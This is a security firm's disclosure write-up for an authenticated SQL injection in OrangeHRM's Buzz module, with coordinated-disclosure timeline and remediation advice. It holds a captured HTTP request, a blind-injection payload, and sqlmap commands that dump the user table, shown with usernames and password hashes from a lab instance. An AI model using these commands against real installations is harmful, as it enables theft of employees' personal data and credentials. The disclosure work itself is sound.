Horizon3.ai
Horizon3.ai

CVE-2020-29437: Authenticated SQL Injection in OrangeHRM < 4.6.0.1

by | Jan 5, 2021 | Disclosures

Summary

OrangeHRM is software for Human Resource Management (HRM). In a routine audit of the open source version of OrangeHRM, we discovered a SQL injection vulnerability in the “Buzz” module, an integrated social media tool within the software.

Authenticated low privilege users can use this vulnerability to disclose the full contents of the OrangeHRM database, including sensitive user personal information and password hashes. It’s also possible to execute a denial of service attack to bring down the application.

The issue has been fixed in OrangeHRM 4.6.0.1.

Impact

  • Information Disclosure
  • Denial of Service

Remediation

Upgrade to OrangeHRM 4.6.0.1.

Discovery

SQL injections can sometimes be identified by simply grepping through source code, looking for patterns where variables are concatenated as part of query strings. In this way, we found the following vulnerable code in the file BuzzDao.php:

 

To verify the vulnerability we fired up the Bitnami Docker version of OrangeHRM and accessed the Buzz module using a low privilege user, test1.

We then verified the injection point could be accessed via the web endpoint /symfony/web/index.php/buzz/loadMoreProfile with the parameter loadMorePostsForm[profileUserId].

Using Burp Suite, the following request was captured:

POST /symfony/web/index.php/buzz/loadMoreProfile HTTP/1.1
Host: 192.168.0.105
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 143
Origin: http://192.168.0.105
Connection: close
Referer: http://192.168.0.105/symfony/web/index.php/buzz/viewBuzz
Cookie: Loggedin=True; _orangehrm=0easoa230v8olnectp6a17mbtaloadMorePostsForm%5BlastPostId%5D=48&loadMorePostsForm%5BprofileUserId%5D=1&loadMorePostsForm%5B_csrf_token%5D=3113ee2ea5f4cdae546a238f9f664912

The request was then run through sqlmap to confirm a boolean-based blind SQL injection:

# sqlmap -v -r request.txt -p 'loadMorePostsForm%5BprofileUserId%5D' --dbms=mysql --level=1 --risk=1
[*] starting @ 18:31:16 /2020-11-28/
<truncated…>
[18:31:43] [INFO] checking if the injection point on POST parameter 'loadMorePostsForm[profileUserId]' is a false positive sqlmap identified the following injection point(s) with a total of 35 HTTP(s) requests:

Parameter: loadMorePostsForm[profileUserId] (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: loadMorePostsForm[lastPostId]=48&loadMorePostsForm[profileUserId]=1) AND 5297=5297 AND (7112=7112&loadMorePostsForm[_csrf_token]=3113ee2ea5f4cdae546a238f9f664912
[18:31:44] [INFO] testing MySQL
[18:31:44] [INFO] confirming MySQL
[18:31:45] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[18:31:45] [INFO] fetched data logged to text files under 'https://p7i3u3x3.delivery.rocketcdn.me/root/.local/share/sqlmap/output/192.168.0.105'

[*] ending @ 18:31:45 /2020-11-28/

Exploitation

With a confirmed injection point, it’s straightforward to dump the contents of the database. For instance, using sqlmap to dump the contents of the ohrm_user table, which contains users and password hashes:

# sqlmap -v -r request.txt -p 'loadMorePostsForm%5BprofileUserId%5D' --dbms=mysql -D bitnami_orangehrm -T ohrm_user -C user_name,user_password --dump
<truncated...>
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: loadMorePostsForm[profileUserId] (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: loadMorePostsForm[lastPostId]=48&loadMorePostsForm[profileUserId]=1) AND 5297=5297 AND (7112=7112&loadMorePostsForm[_csrf_token]=3113ee2ea5f4cdae546a238f9f664912
---
[18:48:31] [INFO] testing MySQL
[18:48:31] [INFO] confirming MySQL
[18:48:31] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[18:48:31] [INFO] fetching entries of column(s) 'user_name,user_password' for table 'ohrm_user' in database 'bitnami_orangehrm'
[18:48:31] [INFO] fetching number of column(s) 'user_name,user_password' entries for table 'ohrm_user' in database 'bitnami_orangehrm'
[18:48:31] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[18:48:31] [INFO] retrieved: 2
[18:48:35] [INFO] retrieved: admin
[18:48:40] [INFO] retrieved: $2y$12$EsIOLJRm3lJNJExO0ZC9WOCvzZwRdSvCSZIJGlGZbiCAUJbAVKDPq
[18:49:42] [INFO] retrieved: test1
[18:49:46] [INFO] retrieved: $2y$12$Mcyt76SFrsDqsTnM23.4UeAu9VTeLwsgZ9drg1g9BptmAjsTCQn0m
Database: bitnami_orangehrm
Table: ohrm_user
[2 entries]
+-----------+--------------------------------------------------------------+
| user_name | user_password                                                |
+-----------+--------------------------------------------------------------+
| admin     | $2y$12$EsIOLJRm3lJNJExO0ZC9WOCvzZwRdSvCSZIJGlGZbiCAUJbAVKDPq |
| test1     | $2y$12$Mcyt76SFrsDqsTnM23.4UeAu9VTeLwsgZ9drg1g9BptmAjsTCQn0m |
+-----------+--------------------------------------------------------------+

Timeline

  • Nov. 28, 2020: Vulnerability disclosed to vendor
  • Nov. 30, 2020: Vulnerability confirmed by vendor
  • Dec. 18, 2020: Patch published by vendor
  • Jan. 04, 2021: Public disclosure

References

How can NodeZero help you?

Let our experts walk you through a demonstration of NodeZero, so you can see how to put it to work for your company.